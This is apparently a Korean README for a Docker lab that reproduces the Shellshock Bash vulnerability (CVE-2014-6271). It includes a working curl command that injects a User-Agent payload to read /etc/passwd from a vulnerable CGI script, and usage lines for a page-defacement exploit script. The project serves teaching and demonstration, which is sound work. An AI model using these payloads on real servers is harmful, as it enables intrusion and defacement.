
CVE(ShellShock) 프레젠테이션 프로젝트 – PDF, 기술 시연 및 재현 가능 포함
이 프로젝트는 CVE-2014-6271, 즉 Shellshock로 알려진 취약점을 재현합니다. Shellshock은 Bash의 보안 취약점으로, 환경 변수를 통해 악성 코드를 실행할 수 있습니다.
이 프로젝트의 목적은 Docker 환경에서 이 취약점의 영향을 시연하는 것입니다.
시작하기 전에, 머신에 Docker가 설치되어 있는지 확인하십시오. Docker는 여기에서 다운로드할 수 있습니다.
프로젝트 디렉토리에서 다음 명령을 실행하여 Docker 이미지를 빌드합니다.
docker build -t ['image name'] .
['image name']을 원하는 Docker 이미지 이름으로 바꾸십시오.
이미지가 빌드되면, 다음 명령으로 해당 이미지에서 컨테이너를 실행합니다.
docker run -it --rm -p 8080:80 ['image name']
이렇게 하면 로컬 머신의 8080 포트에서 서비스가 노출됩니다.
브라우저를 열고 http://localhost:8080에 접속하십시오. 애플리케이션의 동작을 관찰하고 취약점을 테스트할 수 있습니다.
다른 터미널에서 다음 명령을 실행하여 취약점을 악용하고 /etc/passwd 파일의 내용을 읽습니다.
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" \
http://localhost:8080/cgi-bin/vulnerable
이 명령은 Shellshock을 악용하도록 특별히 설계된 user-agent 헤더를 전송합니다. 취약점이 올바르게 재현되면 /etc/passwd의 내용이 터미널 출력에 표시됩니다.
이 스크립트는 대상 웹 페이지를 변조(disfigure)하기 위해 취약점을 악용합니다. 이 취약점은 CGI 스크립트의 잘못된 구성으로 인해 서버에서 임의의 명령을 실행할 수 있게 합니다.
사전 요구 사항: 대상이 ShellShock 버그에 취약한지 확인하십시오. 이 대상에서 익스플로잇을 테스트할 수 있는 필요한 권한이 있는지 확인하십시오.
./exp_deface.sh <ip> <port>
./exp_deface.sh localhost 8080
중요: 이 취약점은 통제된 환경에서 테스트 및 데모 목적으로만 사용해야 합니다. 프로덕션 환경에서는 이 프로젝트를 사용하지 마십시오.